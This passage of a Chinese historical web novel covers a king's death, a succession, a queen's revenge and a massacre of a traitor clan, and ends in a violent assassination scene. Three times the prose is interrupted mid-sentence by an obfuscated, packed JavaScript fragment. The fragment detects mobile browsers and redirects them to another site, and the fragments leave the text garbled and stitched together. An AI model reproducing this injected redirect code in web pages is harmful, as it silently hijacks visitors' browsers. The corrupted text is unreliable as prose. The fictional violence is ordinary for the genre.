天枢目送着他的身影消失在云海,领着仅剩的隐蝠卫,齐齐屈膝跪了下去,纷纷拔出佩刀、横颈自刎。 永平六年九月初九,大翊永平王死守武原城半月,重伤崩逝。不愿遗体受辱,投身殒星崖。 是为“天子守国门,君王死社稷”,时人莫不景仰心折。 千年前,一位大翊君王在此殉情;千年后,另一位大翊君王在此殉国。 . 碧天晴夜,新月转过梧桐疏影,一丛潇潇风竹下,搭着月白色布幔曲帐,立着水墨山水的素纨画屏,地上整整齐齐摆放着一排萤火纱灯,两大四小。 舜英靠在躺椅上,拿着一柄纨扇挥开流萤,笑道:“承祎快过来,母后这儿萤火虫多。” 元旻双手提着素白绢袋,星星点点萤光浮在他身周,缓缓游弋,使他看起来像置身星河。 “动作轻些,倘或磕着碰着了母后,仔细你的皮。” 承祎委屈巴巴地瞥了她一眼,提起自己的绢袋、跑到父亲身边。元旻袋中已拢了不少萤火虫,收紧口子递给他,再拿过他手中的空口袋,摸了摸他的头:“去吧。” 承徽小心地用扇子承祎挡着另一边,帮他把萤火虫倒进篾骨纱灯内。 “先装好母后的这盏。” “然后给妹妹和弟弟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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透过朦胧泪眼、指缝,她看到元旻唇角又上扬了些,张了张嘴。 “别哭,不疼。” “钧良和钧安那事,我确实存了私心,发过誓对你好一辈子,却伤你那么深。让你处处树敌,却没能护你到老。” 竹林里的风越吹越大,吹得他衣袍不断鼓荡,他又单薄又脆弱,像是白纸糊成的,又像是聚成一团的轻烟。 她目不转睛,一瞬不瞬,生怕一眨眼他就不见了:“对不起,我也有不好,我一直只当你是陛下,从没将你当成……”声音带了哽咽。 对面的人笑了,自嘲、萧索、落寞:“阿英,这辈子我从未后悔娶你,可惜你心里没有我,我却舍不得放手。难为你陪我演这么久恩爱戏码——” 月亮也暗了下去,竹林黑得伸手不见五指,覆在眼上的淡淡体温消失了,她心尖一揪、针扎似的疼起来。 潇潇风声里,他留下的最后一句话也在慢慢消散。 “能不能也对我笑一笑?就像那年除夕夜,你在红梅树下对着他那样……” 她仓惶四顾,嚎啕大哭:“你回来,我不怪你了,我们好好把话说开……求你回来,不要死——” 守在侧间的春羽听到,昏睡中的舜英突然哭叫起来,忙带着几名宫婢进来,掌灯查看。 舜英仍昏迷不醒,睫羽颤抖不休,口里喃喃喊着“回来”,泪水不断从眼角滑落、融进软枕。 守在床尾的小宫女忽然捂住嘴,眼神惊恐地看向床上。被褥已被鲜血濡湿大片,血迹边缘还在不断扩张。 掀开被子,殷红的血绵绵不绝从她裙底流出。 景和宫前殿灯火通明,冯姮端坐主位,一身暗沉素服,看着跪在堂下的元晞。 “卫尉寺和羽林卫已控制整个昇阳,承陵也已入宫,宗庙传承刻不容缓,既有圣旨、何不直接继位?” 元晞沉声坚持道:“先王遗言,必须将承陵记在褚太后名下。” 冯姮叹息:“那就再等等吧,也不知阿英何时醒来。” 111. 血债血偿 秋风怒号,黄沙漫天。 苻沣轻叱一声,跃下马背,回身走了几步,亲自拉开马车帘子,恭声道:“公主,龙骨关到了。” 车内,元晴、苻萱都以生麻束起头发,绾成丧髻,丧服由最的粗麻衣制成,断处外露不封边。是为国丧、斩衰。 苻萱看了看父亲的着装,哭笑不得。 月白色通裁交领直掇,外罩霜色比甲,一丝不苟地束着银白螭纹冠,插白玉发簪。全身上下无任何纹饰和色彩。乍一看,还以为他也在服齐衰。 她回灵昌住了几个月,也瞧出些端倪。 每每元晴入宫之前,苻沣在梳妆时总要多磨蹭近三刻,极尽素净而精雅,不像一国之君、倒像个翩翩文士。 元晴一心只照拂她们同母的姊妹三人,苻沣又极擅克制,就如此相安无事过了五年多。 九月初三,苻沣破天荒地邀请元晴在宫里小住几天,元晴也未推拒。 那个下午,长秋宫庭中,元晴坐在石桌前,铺陈一张雪白的玉版宣,正举着鼠须笔在纸上写写画画,对苻菁和苻蓁耐心地讲解二十八宿。 氛围既古怪又融洽。 苻萱不时找元晴闲聊,发现她虽对苻洵以及荣国忌惮,却对苻沣不吝溢美之词,甚至高过大部分世人。 “苻洵穷兵黩武,自他掌权,军费开支较前朝翻了三番”,元晴眼里尽是赞许,“若非你父王不计得失荣辱、竭力料理民生,整个荣国怕是早已芜草丛生、十室九空。” 那一瞬,苻萱脑中突然冒出个念头,若她出身低些,不是凰羽寺少祭司就好了。 元晴在王宫仅住了六天。 九月初十的清晨,苻沣刚走出长秋宫寝殿,宫人便来通报,元晴公主已在前殿等候多时。 她是来辞行的,苻沣送她出门时,发现她早已备好快马、收拾好行装,只等一辞行便马不停蹄地出发。 苻沣不愿打探她的私事,却不放心她就这样匆匆离去,当即称要北上巡军、传令罢朝数日。又命内侍牵来马厩中最快的几匹马,带上苻萱和几名亲卫追随而去。 一行人除了必要的饮食和睡眠,其余时间快马加鞭、片刻不歇一路北上。 九月十六,一行人抵达镇安,当夜下榻英平郡公府。故地重游,感慨万千,元晴忽然想在园子里逛逛,看看元旻曾住过的客房。 苻沣欣然带她过去,只见阶柳庭花、一尘不染,干干净净空在那儿。 “自小王即位,便令人封了这院子,修剪花木、除秽洒扫从未间断,一直维持着原样。” “这世间的缘分实在玄妙,从未想过,十年前白水之畔、信手搭救,改变了两国命运…” 突然止住了话语,因为他看见,素来笑吟吟的元晴,正呆呆看向那间旧屋、眼中泪花浮动,哽咽着开口。 “白水之畔,多少命运的交点。陛下、玥娘、苻洵、四哥、四嫂……” 她忽然转头看向他:“信使来了。” 从驻翊使馆传回的八百里加急,苻沣拆开之后、瞥见第一行字,蓦然惊住。 看向元晴,半晌之后,艰涩地吐出两个字:“节哀。” . 永平六年九月初九,翊王元旻战死武原城,阳华山终不能敛其骨,仅以衮冕、常服、战甲封入棺椁,停灵于朱明院。 经元氏宗族、满朝文武商榷一致,谥号为“庄”,严恭自律曰庄,德盛礼恭曰庄,胜敌志强曰庄,死于原野曰庄。 九月初十,褚王后强撑病体,遵循翊庄王遗诏,过继二十一岁的侄子元承陵为长子,并拥立元承陵于先王灵前即位。 九月十一,凰羽寺大祭司卜算三卦皆吉,元承陵率宗室、朝中众臣入太庙祭拜祖宗。 九月十二,由冯太后和褚太后坐镇、召开大朝会,元承陵着玄衣纁裳、戴九旒冕冠,登上大庆殿王座,丞相元璟、御史大夫卢照仪、大司农云飞燕、太尉元晞领头,率宗亲耆老、文武百官齐声朝拜新君。 权力交接自此安然完成。 九月十三下午,景阳钟敲响三万声,大丧。 封锁了十多天的昇阳城终于放开,驻翊使臣即刻派信使、昼夜不歇地将讯息传回荣国。 元晴沉默着听苻沣读信,泪花闪烁,唇角微微上扬:“母后和四嫂都很好,没出半分差池。” 想了想又说:“你那个幼弟也不错,居然没趁机作乱。” 真不知是夸奖还是嘲讽。 苻沣被她噎了半晌,叹了口气:“听探子来报,他有两个月不在北卢和郅阳了。老实说——他一消失,也没人晓得他去了何处。” 元晴不禁打量了他一番,有些讶异地问:“你还能在他跟前安插耳目?” 苻沣摸了摸鼻子,被噎得胸口发堵,只得转移了话题:“无论如何,他大婚的时候总要回来。” 苻洵的婚期定在十月廿八,他早已安排花农,在迎亲道路两侧种下十万棵梅树,想要在红梅初绽之时迎娶锦瑟。 得知新君已顺利即位,元晴也不再急迫赶路,先在郡公府歇了一天,偕同苻萱沐浴焚香、披麻戴孝之后,才不疾不徐地启程,行至龙骨关时已九月二十。 龙骨关城门下,苻沣亲自下马、掀开车帘,元晴却并不急于下车,反定定注视着他,轻声问:“陛下可想好了?” “孤虽为翊人,亦愿倾力襄助,却仍要奉劝陛下一句,胜算极低、莫要冒险!” “落子无悔”,苻沣笑了,“你我两国再是交恶,有些底线,阿洵他不该触碰。” “阿洵是我一手带大的,情份深厚,哪怕他要这个王位,朕也能随时拱手相让,唯独此事、我不能容忍。” “他走错了路,是我教导之过,该当承担此苦果,清理门户!” 元晴并不意外,只是淡淡笑了:“陛下是如何知晓,北宛骑兵南下有苻洵从中作梗?” “此事是绝密,朕至今并无实证”,苻沣摇头,“所有推测的依据,仅仅是去年除夕宴上,阿洵的一番叮嘱。” . 去年除夕宫宴,喝得醉眼迷离的苻洵,忽然凑到他耳边,神情凝重地、一字一字道。 “哥哥,明年七月派人去昇阳,接阿萱他们回灵昌吧,若她实在喜欢元晢,就把元晢也一并接过来。” “想个好些的理由,住得久些。” 任他如何追问,苻洵却不再多吐一字。 苻沣一怔,霎时酒醒了大半。 “当时我不明所以,能想到最严重的,便是他要对贵国发兵”,苻沣苦笑着摇摇头,“若是两国交战,朕隐瞒少祭司,接回阿萱也无可指摘。” 元晴嗤笑:“你倒是坦荡。” 国别之差、立场之争,确也无可指摘。 苻沣埋下头,眉间浮出一丝痛苦:“若早知事态如此发展,朕当时就该动手。” “七月底,北宛那达慕节,冯栩弑兄篡位、屠戮柘枝城。紧跟着就是宣氏叛变、朔门关失守、朔宁府沦陷……” 苻洵却能未卜先知,就算此事非他策划,也定有可靠渠道提前探知。 “若有一日,你我两国交战,沙场之上朕必不会心慈手软”,苻沣冷笑,“可事关异族,他当以大局为重,竭尽全力阻拦异族挥师中原。” “王兄与孤身上也流着异族之血”,元晴浑不在意地嘲讽,“要求苻洵以大局为重,也太高看他了些。” 苻沣又被噎住了,顿了顿才说:“是否异族,不在于血缘,而在于教化风俗。” “中原诸国交战,哪怕是败了、亡国了,不过成王败寇、国祚不继,待世道好了,百姓该怎么过照样怎么过。” “可那些不尊圣人、不服教化的北宛人,一旦挥师南下、入主中原,他们狠戾残暴、逞凶肆虐、奸淫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290065|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掳掠,等待我等的,便是亡族灭种之祸。” 苻萱恍然想起,北卢郡的讯息传到灵昌,最快要七天。 九月初三,苻沣邀元晴入宫小住之时,正是他收到冯栩攻破朔门关线报之日。 元晴默了片刻,正色问:“陛下可曾想过,此事若失败,你与三位公主下场如何?” 马车陷入死寂。 苻萱惊讶地发现,她那自登基后日渐儒雅的父亲,此刻挺直了腰背,目光如炬。那潇潇风骨、烈烈血性,依稀还是多年前驰骋沙场的英平郡公。 “能如何?他是我一手带大的,会对我们如何?退一万步讲,就算他欺师灭祖,我们也无非是被废、被幽禁,就算身死又有何惧?” 苻萱听他这一番剖白,目光逐渐坚定:“儿臣愿留在灵昌,与父王同进同退!” 元晴笑了:“既然如此,咱们都回灵昌吧?” “陛下,孤传授给你的七杀阵,若得孤坐镇,其威力何止千万倍?” 苻沣略有诧异:“长公主不去为兄奔丧了?” “了结此事再去,反正死人活不过来了”,元晴直视龙骨关外,眼神悲怆而决绝,“比奔丧更有用的,是血债血偿!” . 已至十月,寒风瑟瑟、落木萧萧,地面的落叶刚刚扫净,又落了一层。 武臻臻扶着舜英,款步走在后苑的白石小径上,“外面风大,还请母后尽早回宫。” 舜英摇头:“去宝慈宫吧。” 自九月初九夜,舜英从昏迷中醒转、听闻噩耗之后,便不愿多待在景和宫。 前殿还挂着他们一起写的那两幅字;前院的海棠树下,他们曾秉烛夜话、品茶、写字、插花,糊风筝; 庭中花圃,他曾让人采下最好的素馨制成香露,她曾剪下最香的茉莉插在他案头; 那张沉香木雕凤鸾书案的旁边,是她添香研墨、与他共商国是的两千多个夜晚;那副沉香木妆台的双鸾菱花铜镜前,是他为她画眉的两千多个清晨。 恍神的刹那,她也曾忘记他已是君主,也曾期待过他不再强求,期待过他们还能像小时候那样,是至亲是挚友、也是互相信赖的君臣,平静如水过一辈子。 可是啊—— 曲水云纹竖柜里,整齐叠放着她替他挑好的常服,却再没机会穿在他身上;屏风前的圆桌上,两大四小共六个篾骨素纱灯,却再不会装进他亲手捉的萤火虫。 床头的小几上,放着那封来不及送出的信,她想服个软把话说开,却再也没机会让他看到。 景和宫的每一处空荡,都回响着他与她的说话声;景和宫的每一缕风,都飘荡着多年前他曾用过的沉水香。 过继嗣子、祈福凰羽寺、祭告太庙、拥立新王,眼睛痛得像要滴血,她却一滴泪也掉不出来,恍惚得像是一场梦。 从她诊出喜脉起,三个孩子就被接到宝慈宫,由冯姮和郑锦珠共同照看。如今她小月,正是需要医治静养,三个孩子只能继续在宝慈宫。 九月十三,局面大定的夜晚,冯姮将元旻的灵牌抱在怀中,服毒自尽。被贸然闯入的承祎发现,唤来满宫嬷嬷女史,才捞回一条命。 悠悠醒转的冯姮,注视着酷似元旻的承祎和承徽,许久之后含泪笑了:“哀家必不会再丢下阿旻的骨血,轻言生死。” 那以后,冯姮只字不提崩逝的儿子,只悉心教导三个孙辈。 这天,身体稍好的舜英,来宝慈宫见冯姮和郑锦珠,用的是三跪九叩的稽首大礼,郑重托付:“妾与先王膝下两子一女,有劳母后与母妃了。” 她的眼中依然没一滴泪,黑幽幽的,像两汪死寂的深潭,直看得冯姮心头发寒,沉默良久才出声:“阿英,可想好了?” 舜英起身,看向北风萧索的门外,声音轻柔而决绝,一字一字道。 “我意已决,血债血偿!” 112. 风萧萧兮易水寒 十月初八,元承祎照常早起,穿素服、绾丧髻、披麻衣,跟冯姮报备之后,携弟弟妹妹去景和宫向母后请安。 他进了前殿,发现一直病怏怏的母后,早已坐在前殿静候多时,定神细看,不由愣住了。 这个早晨,舜英没有锦衣华服、钗环珠翠,没有脂粉和黛青,没有繁复的发髻。 她只穿着一身简素白袍,愈发衬得她眉眼俊秀、顾盼神飞,乌发挽成简单的椎髻,只别着一支彩玉簪,簪尾隐隐绰绰一簇紫色木槿。 那个雍容娴雅的褚王后不见了,此刻的她,像是出鞘的泠泠长剑。 见三个孩子进来,她苍白的脸上浮出一丝笑意,蹲下身,平平注视着三个孩子。 “承祎、承徽、承祉,母后要去替大翊的君父、你们的父王复仇!” “这很危险,却不得不做。” “不是要抛下你们,只是若不这样做,母后过不去自己,他日到了九泉之下更无颜面对那些故人。我首先是自己,其次是大翊的女君,最后才是你们的生母。” 承祉尚自懵懂,承祎和承徽已隐约明白她话中悲凉之意,含泪埋下头,一言不发静静听着。 “母后走以后,你们要听祖母的话,好好吃饭睡觉长身体。要像父王那样,克己慎行、勤学苦读、习武不辍。” “如今,承陵哥哥就是你们的亲兄长,你们要敬他、爱他,长大之后尽心辅助他。” 话音刚落,殿门传来清越的男声:“孩儿不过暂代朝政,已决意立承祎为储,必将尽我所能,教导承祎成为父王那般睿智圣明的君主。待承祎成年之后,还位于父王一脉。” 舜英笑了笑:“你临危受命,这位置踏踏实实坐着吧,最好坐个几十年,翊国再也经不起改换国君的风波了。” 承陵忽然弯曲双膝,行稽首大礼,轻声道:“孩儿半生所学的,仅仅是如何行军打仗、坐镇中帐,并无治国安邦之才能,还请母后留下来,指导儿臣一二。” “便是不为了孩儿,也要为了父王殒身守护的江山社稷。” 绕了一圈,还是劝她。 舜英静静注视着他,笑了:“承陵,论平衡势力、高瞻远瞩,母后不如祖母;论才学广博、运筹帷幄,母后不如丞相;论擢贤选材、整肃吏治,母后不如御史大夫;论充盈国库、管理度支,母后不如大司农;论行军打仗,母后更是不如太尉……” “先王已给你留下最得力的班底,你只需纳谏如流、兼听明辨,多学上几年便都会了。只一事特别注意——慎战,未彻底掌握三军之前,勿要轻启战端。” “孩儿听父王母后的”,承陵直起上身,含泪看向她,“只是,还望母后顾惜性命……” 舜英一分一分抚过长着薄茧的掌心和虎口,声音柔软而坚决:“承陵,这世间大多数事都可以转圜、可以妥协、可以容让,唯独背叛和人命,必须血债血偿!弑君之仇不报,逆臣不除,朔门关不收,我大翊还有何国威可言?” 承祎满眼不舍,愤愤道:“满朝文武,八方将领,千百年世家大族,为何非得母后亲自去……” “重要的不是谁去,而是必须得有人去”,舜英的笑容变得风轻云淡,目光扫过跪成一排的四个孩子,神情透出傲然,“记住了,咱们从小长自公宫,受万民供奉、享天下之养,存亡之际就该担负起王族的责任。” 最后,她依次抱了抱三个稚子,替他们擦干泪水,从桌上提起收拾好的包袱,大步流星跨出了殿门。 身后,元承陵携弟妹三跪九叩、稽首大拜,泪如雨下。 她头也不回地,决然远去。 . 舜英出南薰门时,见到了等候多时的元璟,相对久久无言。 “师父,我们上次对饮是何时?” “永平一年,褚宅后院,你成婚前两天。” “师父若白日得闲,劳烦移驾寒舍,徒儿想再与师父同饮一醉。” 云色浅灰,天光惨淡,灵位一张、师徒两人。 “阿英,你身子还没养好,少喝些”,他注视着她,这个他一手带大、与他情同父子的女人,又试探着问,“非去不可吗?” 舜英喝得双眼雾蒙蒙的:“师父,当年你率骑兵千里追杀、剿灭郭越时,是否也问过自己,非去不可吗?” 元璟默然,埋下头一口一口喝着闷酒:“你刚出小月,身子还很虚弱,这样冷的天何须急于一时?等开了春,我手头事情放一放,与你同去。” 舜英举起手,放到眼前晃了晃,悲凉地笑了:“自古名将如美人,不许人间见白头。” 舜英收好行装,走出院门时,玉衡牵着那匹盗骊迎上来:“首领,所有良驹已送至沿途驿站。” 她决意复仇,元承陵苦劝不住,只得将马厩里最好的几百匹马尽数赠了他们。 舜英摸了摸盗骊油黑发亮的鬃毛,将包袱和革袋搭上去,纵身跃上马背。 宅邸前的空地上,黑压压站了数百人,均已收拾停当,倚在马前等候。 “隐蝠卫开阳,率刀客三十九人,向首领报到!” “隐蝠卫玉衡,率卫士一百人,向首领报到!” “游击营元念笙,率义士一百一十七人,向太后报到!” 一行人伏低上身,迎着萧瑟的寒风,飒沓如流星,渡过已开始结冰的伊河,西行过怀阳、建兴,而后北上,直奔朔宁府武原城。 永平六年十月二十,宣氏灭门惨案举世瞩目、震悚列国。 一夜之间,宣正淼以及追随他的宣氏子弟,所有子侄、孙辈共计四百二十八人,皆在睡梦中被一刀割喉。 凶案之后,杀手并未掩盖行藏,反而将死者移到三大关隘,趁夜色在竖起四百多根木杆,再用六寸长的铁钎,将尸体摆成跪倒的姿势,钉在城楼之上。 首恶宣正淼最凄惨,被剥光衣服,七根铁钉分别贯穿了他的头颅、胸腔、四肢和下腹,将他上不着天、下不着地钉在边墙北面,朔方门的门楣之上,活活冻死。 被钉在城楼上的宣正淼,以发覆面、口含米糠,他那具毫无遮掩的尸身上,被刀割出两个血红大字——“叛臣”。 . 十月廿六,灵昌王宫从安门出、过子午大街转弯向东,一直到洛川别苑,沿途的十万株红梅新吐芳蕊,玉骨冰肌晕浅红。 苻洵穿一袭玄色轻裘,策马疾驰穿过东城门,在洛川别苑门口勒住缰绳。郎琊和秦川等了颇久,正搓着手闲聊,听到马打响鼻的“咈咈”声,才回过神,迎过来替他牵马。 苻洵抬手止住:“你们方才在聊什么,宣氏?灭门惨案?” 秦川打了个寒噤:“好狠,四百多口人……天寒地冻的,就那样把人毫无遮掩地钉在城楼上。” “不是这个”,苻洵打断他的话,“他的尸首上写的什么字?” 秦川茫然抬头,不假思索地回复:“叛臣!” 苻洵又问:“你们两个刚才议论是谁干的?” “褚太后,一猜就是她”,秦川不以为意,重复了一遍,“四百二十八人,一夜之间,这身手……” “太后?”苻洵声音陡然拔高。 秦川懵了,摸着鼻子讷讷道:“主子您不知道啊……” “别说了”,郎琊忙低声喝止他,条理清楚地禀报:“九月初九,永平王战死武原城,新王已在灵前即位……” 他再说什么,苻洵已听不进去了,垂眸凝视着地面、陷入沉思,片刻之后,瞳孔倏然放大、满是惊惶。 猛然抬头,厉声叱令:“郎琊秦川,即刻集结白袍卫,每人携带七天干粮,半个时辰之后我要在这儿见到所有人!” “姚晟,去马厩,把所有喂饱的肥马都牵出来,还有所有御寒衣物!” 半个时辰后,苻洵已换了匹耐力极好的黄骠马,郎琊、秦川扈从左右,身后的白袍卫纷纷翻身上马,整装待发。 苻洵高举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300774|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手,正要一声令下…… 秦川向门内瞄了几眼,咽了口唾沫,迟疑着提醒:“主子,您是不是忘了什么?” 苻洵顺秦川的目光看去,举起的手缓缓放下,愣住了。 洛川别苑早已布置妥当,正门、围墙边都挂着红艳艳的绸带绸花,檐下灯笼亮红如燃,到处张灯结彩、披红挂绿,贴满硕大的“囍”字。 确是忘了。 忘了他后天的婚期。 还有门内那永远低眉顺眼、沉静柔婉的女人,那个默默为他操持家事、教养子女,即将成为他妻子的女人。 锦瑟站在影壁处,默默看了不知多久,直到他转头、对上她泛红的眼圈时,才挤出一个温婉的微笑。 她双眸的泪光依稀可见,唇角却竭力上扬,两掌置于右腰,弯曲双膝,头埋得很低,对他恭恭敬敬敛衽一礼:“妾恭送将军,一路顺风。” 苻洵怔愣片刻,张了张嘴,却什么都没对她说,回过头目视前方,高喝:“出发!” 上百匹马从洛川别苑门口飞驰而过,激起的烟尘久久不息。 大丫鬟絮儿觑着她脸色,轻声说:“夫人,外头冷,回屋吧。” “一介妾婢,当不起‘夫人’之称”,锦瑟笑容更盛,合目的瞬间,泪珠滚落双颊,“叫他们把这些丝带绸花都撤掉吧,喜字和灯笼也不要了。” “姚晟,派人通知宾客罢……十月廿八,不会有婚仪了。” 絮儿宽慰道:“夫人如此善解人意,将军迟早会晓得夫人的好。” “不是夫人”,锦瑟声音陡然拔高,摸了摸脸、自嘲地说,“倚翠楼的清倌人,侥幸仗着一张相似的脸,白受七年供养,敢不善解人意么?” 与洛川别苑一街之隔的“风归云”客栈,元晴站在顶楼上,全程眼睁睁看着,苻洵在家门口勒马止步,未曾踏进家门半步,便径直率上百人绝尘而去。 她不禁失望地闭上了双眼。 只需要十步,从大门到影壁的距离,七杀阵便可开始运转。 却唯独差了这十步。 “时也,命也。” . 身后是武原城焦黑断壁残垣,城楼上的尸体已冻成冰雕。 九月初九那场大火后没几天,困坐愁城多日的冯栩率领仅剩的四万精兵,北出朔门关,撕开谢朗的战线,突围而出,逃回柘枝城。 浅灰的天穹下,疾风呼啸,从朔门关极目北望,越过七重瓮城,乌兰山已被厚厚的坚冰和积雪覆盖。巴掌大的雪花连翩坠落,吸进肺腑的空气冰寒刺骨。 舜英从玉衡手中接过貂绒大氅拢紧,侧过头轻声说:“笙儿,带他们回去吧。” “再往北,冰厚三尺、雪覆千里,游击营的人本来伤就没好全,出了关不一定扛得住。我们往年是冻惯了的,去柘枝城,这些人就够了。” “可是,四婶的身子也并未好全”,念笙吸了吸鼻子,恳求道,“咱们一起回去,明年雪化了再一起去找冯栩,可好?” 舜英笑了:“所谓出其不意,攻其不备,此时正是良机。” “帮我办件事,回去的路上,转告武煊、姜榷、你爹爹,还有承陵,武原城失了宣氏的控制,收复两关指日可待。但是,不要急……” “伊河的冰层已厚得能过马了,好生防范河对面的荣国骑兵。若要收复两关,最好是明年二月到四月之间。” 念笙眼眶发热,连连点头:“都听四婶的。” 舜英将单薄的身子挺得更直了些,扬声大笑:“回去转告陛下,备好诏书和的虎符。我褚舜英,司南侯之女、襄国公之徒、大翊女君,若能全须全尾从柘枝城回来,来年必亲自挂帅出征,收复河山!” 念笙眼含热泪、心潮澎湃,抱拳高呼:“侄女定会及时转达,山高路遥,四婶一路保重,早日凯旋!” 在她身后,游击营一百多名兵卒纷纷下跪,齐声高呼:“殿下一路保重,早日凯旋!” 113. 古来刃仇不共天 卷起厚重的窗帘,透过圆形的雕花窗看向院中,冰雪世界堆琼砌玉,一树红梅凌寒绽放、似冰肌玉骨上滴落的数点胭脂。 屋内四个角和正中的火笼都烧得通红,银丝炭烘得整个房间无半点寒气,银红纱幔覆盖着紫玉螺钿大床,帐底斜卧的美人软玉温香、肤如凝脂,为这温暖的房间平添无数旖旎春色。 冯栩抱着三五枝开得正好的梅花进来,从案头拿过白釉瓷瓶,放在床前小茶几上:“昙儿,怎么摆放才好看?” 元昙已有近六个月身孕,腹部隆起,行动有些迟滞、懒得起身,只支起藕臂轻托香腮,凝视着他微笑道:“红梅么,随便摆弄都成,反正怎样都好看。” 起初她并不爱红梅,可苻洵很喜欢,所以她在半山居种了几棵。苻洵穿着白色轻裘站在红梅树下,美得像一幅画,看得她眼热。 于是回昇阳之后,挖了石榴树、改种红梅。久而久之,冯彬便以为她喜欢红梅。 苻洵、冯彬……多久之前的事了?明明半年前还活生生站在眼前,却已遥远得像是上辈子了。 冯栩往花瓶灌进些清水,插好花束放回案头,在她身边躺下,柔声问:“还做噩梦么?” 元昙一瞬不瞬注视着冯栩,眼神柔情款款:“你回来之后,就没有了。” 八月二十五那次刺杀之后,冯栩先带武卒营送她出了武原城,又安排马车、药师、仆婢。直到第二天,送她上了回柘枝城的车之后,才开始召集骑兵,预备大举进攻。 在他征战未归的一个多月里,她时常不得安眠。梦境里,一忽儿是元旻冰冷的眼神、被血浸透的身躯,一忽儿是冯彬含泪的双眸、血如泉涌的胸膛。 那些早已躺在地下的人,被泥水沤着、虫儿啃着、烂作一抔泥土,却化作了刻骨铭心的毒,昼夜不歇地流转在她血脉中,扎根在她的肺腑里、骨缝里。 直到九月底,白毛风起、漫天暴雪的时候,冯栩班师归来,她突然就踏实了。 这个强大如隼的男人,有他在,她什么都不怕。 冯栩瞥见她嘴唇有些干,起身接了杯温水,一手托起她上身、一手喂她喝水,笑着宽慰她:“柘枝城的冬,很安全。” “在这儿,起了白毛风之后,部落间都不再来往,各自窝在帐篷里避寒,更不会有外人进来。” 又轻轻抚了抚她隆起的小腹,满脸遗憾:“还得再等好几个月,这儿才能有我们的孩子。” 元昙与他四目相对,笑了,勾住他脖子轻轻一吻。 他素了许久,这香香软软一吻,撩的他心痒难耐,忍不住一手扣在她脑后、与她忘情缠吻,一手掀起她裙子往里摸索。 冷风吹过,他骤然清醒,赶紧翻身而起、穿过雕花圆窗站到院子里,捧起一抔雪擦了擦脸,冰寒刺骨的感觉使得他焦躁稍减。 晚上还是睡隔间吧,他如是想着,不禁在雪地里多站了片刻。 屋内的元昙突然发出一声惊呼,嘎然而止,极短促极轻,带着难以自抑的恐惧。 冯栩一惊,正欲按刀暴起,忽然冷静下来,放慢了动作、蹑手蹑脚走到窗前,刀尖伸进夹棉的窗帘中间,轻轻拨开…… 头顶突然坠下个沉重的物件,旋起一团雪亮的光,他赶紧往后仰头、身体后倾,脚底一蹬就势滑向身后,同时向前挥出弯刀,将下坠之物劈成千万碎片。 下坠之物被刀气激成一片雪白的散碎粉末,悠悠坠下,少许粉末落入眼眸,顿时灼痛钻心。他担忧元昙安危,一手将刀在身侧舞得密不透风,一手抓起雪团捂住灼痛的眼,快得像离弦之箭迸射入房内。 房内光线比院中昏暗些,他立足未稳,一道冰凉如蛇的软鞭“嗖”地缠住他脖颈、顺势往前一带。软鞭缠得很紧,他不闪不避,反倒顺着方向往前飞扑,手中弯刀挟着风雷之势重重斩落。 斩中了! 对方吃痛,收了长鞭。 他心头一喜,视力恰逢其时地恢复了些,正要挥刀继续劈砍,却发现长鞭似一条皎洁的灵蛇、紧紧缠绕在他的刀身上,同时眼前一花,晃过无数道重影。 那是一把银白的刀,白森森的锋芒,先是绕他手腕一圈,而后大开大合,刀锋从他左肩一路犁到到右髋,再换了个方向,从右肩到左髋… 而后,那人松开长鞭、后撤两步。 冯栩用尽全力掷出弯刀,那人不闪不避,右手猛地一扬,银白的柔软绸带拉直了向他“飘”来,刺进了他左肩、带得他倒退半步。 对方力量偏弱。 与此同时,他听到掷出的弯刀钉进血肉的闷响。 他从腰间抽出链子刀,正要掷出,又是一鞭破空而来,势卷风云疾,在他胳膊上狠狠一抽。同时,一弯霜雪劈面而来,力道十足地贯穿他右肩、并将他带飞数步、死死钉在屋内一根雕花木柱上。 对方动作太敏捷,被钉到木柱上时,他才感觉手腕、胸膛、腹腔、两肩,无一处不痛得钻心。 偏头看去,刺进左肩的“绸带”是一柄软剑,银白如月,剑身刻着两个古篆——飞廉。 此时,他对面的灯火阑珊之处,缓缓走出个颀长的身影。 是个年轻女子,眉眼俊秀、顾盼神飞,乌发挽成简单的椎髻,别无装饰,只插着一支彩玉簪,簪尾隐隐绰绰一簇紫色木槿。她手中提着一把银白色长刀,刀身明如秋水、刀锋寒似积雪。 她左肩处被劈砍出极深的血痕,右肩被他的掷出的弯刀贯穿,汩汩的血浸透了素白貂裘。 她却仿佛不知痛楚,唇角噙一丝玩味的冷笑,将手中那柄银白的刀抬起,然后走近他,毫不迟疑地、一刀又一刀捅进他的身体。 从开始突袭、入房缠斗、到将他钉死、补刀,这在他感知中十分漫长的过程,实际不过须臾。 从头到尾,她一言未发。 只是沉默着,血红的双眸一瞬不瞬盯住他,不断地刺入、拔出、再刺入…… 小腿、大腿、双臂、腹腔…… 最终的一刀,直直对准了他的心脏,他终于忍不住开口:“你究竟是谁?” 她笑了笑,言简意赅:“杀你的人。” 而后,果断将刀尖刺向他的胸膛。 